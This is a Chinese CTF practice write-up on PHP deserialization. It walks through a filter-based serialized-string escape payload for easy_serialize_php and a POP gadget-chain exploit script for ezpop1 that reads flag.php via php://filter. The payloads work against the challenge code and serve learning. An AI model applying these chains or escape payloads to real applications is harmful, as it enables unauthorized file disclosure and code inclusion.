刷题记录(一)
php反序列化字符逃逸
easy_serialize_php
拿到源码:
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}//将变量$img中的php flag php5 php4 fl1g的字符串替换成''空字符
if($_SESSION){//摧毁$_SESSION数组变量
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;//变量覆盖可以重置$_SESSION变量
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}//如果!$function为空的话输出刚开始的页面,也就是帮助页面
if(!$_GET['img_path']){//$_GET['img_path'] 为空情况下会默认给定一个图片文件名 然后进行base64编码 赋值给SESSION
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}//这里对接收到的img文件名进行base64编码和sha1加密
$serialize_info = filter(serialize($_SESSION));
//序列化$_SESSION然后进行了过滤
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
url中给f赋值可以进入到phpinfo,发现d0g3_f1ag.php文件。这个文件无法直接访问。
代码逻辑:在第三个if语句里,出现了file_get_contents读取文件内容的函数,用该函数可以将d0g3_f1ag.php的内容回显出来,因此f=show_image。在反序列化之前,对$_SEESION变量进行了序列化,而且进行了过滤,这会导致字符逃逸的问题。
比如:$_SESSION[q] = p;
序列化以后的字符串为:a:1{s:q的位数:"xxxx";s:p的位数:"xxxx"}
如果q中含有被过滤字符串,这里的php和flag,则过滤函数执行以后,序列化字符串会按定长向后读取内容作为第一个参数的值。
在执行file_get_contents读取文件内容的时候,会对变量进行base64解码,因此要将d0g3_f1ag.php进行base64编码为:ZDBnM19mMWFnLnBocA==。而且要让img成为一个独立的参数。由于session没有做检测,user、function之后的内容是程序无法控制的。并且php反序列化会自动将{}之外的内容抛弃。构造payload如下:
$_SESSION[flagphp]=;s:1:1;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
经过序列化后:
{s:7:"flagphp";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} "}
过滤以后:
{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} "}
其中";s:48:这一段作为第一个参数的键,值为字符串1,第二个参数为img,值为ZDBnM19mMWFnLnBocA==
得到d0g3_f1ag.php中的内容,flag in /d0g3_fllllllag,将/d0g3_fllllllag进行base64编码,序列化构造字符串。
ezpop1
代码审计:
<?php
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
>
构造出一个pop,能够出发Modifier的append函数,执行include把代码flag.php中的代码显示出来。
各种魔术函数的执行时机:
1.__invoke:当脚本尝试将对象调用为函数的时候会触发。
2.__construct:创建一个对象的时候自动调用。
3.__get:用来访问不可访问的数据属性,比如私有属性
本题中get函数里p当作函数执行,满足了modifier里invoke方法的调用条件,__get方法会在访问一个类中不存在的属性时自动调用。
4.__tosring:当对象被当作字符串处理会出发,下面的wakeup有个正则匹配是把source对象当作匹配对象,出发wakeup,就会触发toString。
5.__wakeup:在unserialize方法调用的时候会出发wakepu。
调用流程:
unserialize→wakeup→tostring→调用test的source变量(不存在)→get→
把modifier当作对象调用出发invoke
exp:
<?php
class Modifier {
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$m = new Modifier();
$s = new Show();
$t = new Test();
$t->p = $m; //赋值Test类的对象$t下的属性p为Modifier类的对象$m,触发__invoke魔术方法
$s->str= $t;//赋值Show类的对象$s下的str数组的str键的值为 Test类的对象$t ,触发__get魔术方法。
$s->source = $s;//令 Show类的对象$s下的source属性值为此时上一步已经赋值过的$s对象,从而把对象当作字符串调用触发。__tostring魔术方法
echo urlencode((serialize($s)));